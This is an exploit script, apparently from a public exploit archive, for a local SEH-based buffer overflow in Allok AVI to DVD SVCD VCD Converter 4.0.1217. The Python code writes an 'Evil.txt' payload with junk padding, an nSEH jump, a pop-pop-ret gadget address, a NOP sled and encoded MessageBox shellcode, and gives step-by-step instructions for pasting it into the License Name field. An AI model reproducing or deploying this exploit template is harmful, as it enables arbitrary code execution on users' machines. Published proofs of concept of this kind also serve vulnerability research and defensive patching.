Allok AVI to DVD SVCD VCD Converter 4.0.1217 – Buffer Overflow (SEH)
####################################################### # Exploit Title: Allok AVI to DVD SVCD VCD Converter 4.0.1217 - Buffer Overflow (SEH) # Date: 25.04.2018 # Exploit Author:T3jv1l # Vendor Homepage:http://www.alloksoft.com/ # Software: www.alloksoft.com/allok_avi2dvd.exe # Category:Local # Contact:https://twitter.com/T3jv1l # Version: Allok AVI to DVD SVCD VCD Converter 4.0.1217 # Tested on: Windows 7 SP1 x86 # Method Corelan Coder : https://www.corelan.be/index.php/2009/07/28/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b/ ############################################################# print""" #1. Download and install the setup file #2. Run this exploit code via python 2.7 #3. A file "Evil.txt" will be created #4. Copy the contents of the file (Evil.txt)and paste in the License Name field #5. Click Register and BOMM !!!! """ import struct junk = "A" * 780 nseh = "\x90\x90\xeb\x10" seh = struct.pack("<L",0x10019A09) # pop edi, pop esi, ret [SkinMagic.dll] nop = "\x90" * 20 #Windows - MessageBox + Null-Free Shellcode (113 bytes) : BrokenByte buf= ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74" "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe" "\x49\x0b\x31\xc0\x51\x50\xff\xd7") crush = "T" * (4000 - len(junk + nseh + seh + nop + buf)) exploit = junk + nseh + seh + nop + buf + crush try: file = open("Evil.txt","wb") file.write(exploit) file.close() except: print "[+] Don't Crush me !" |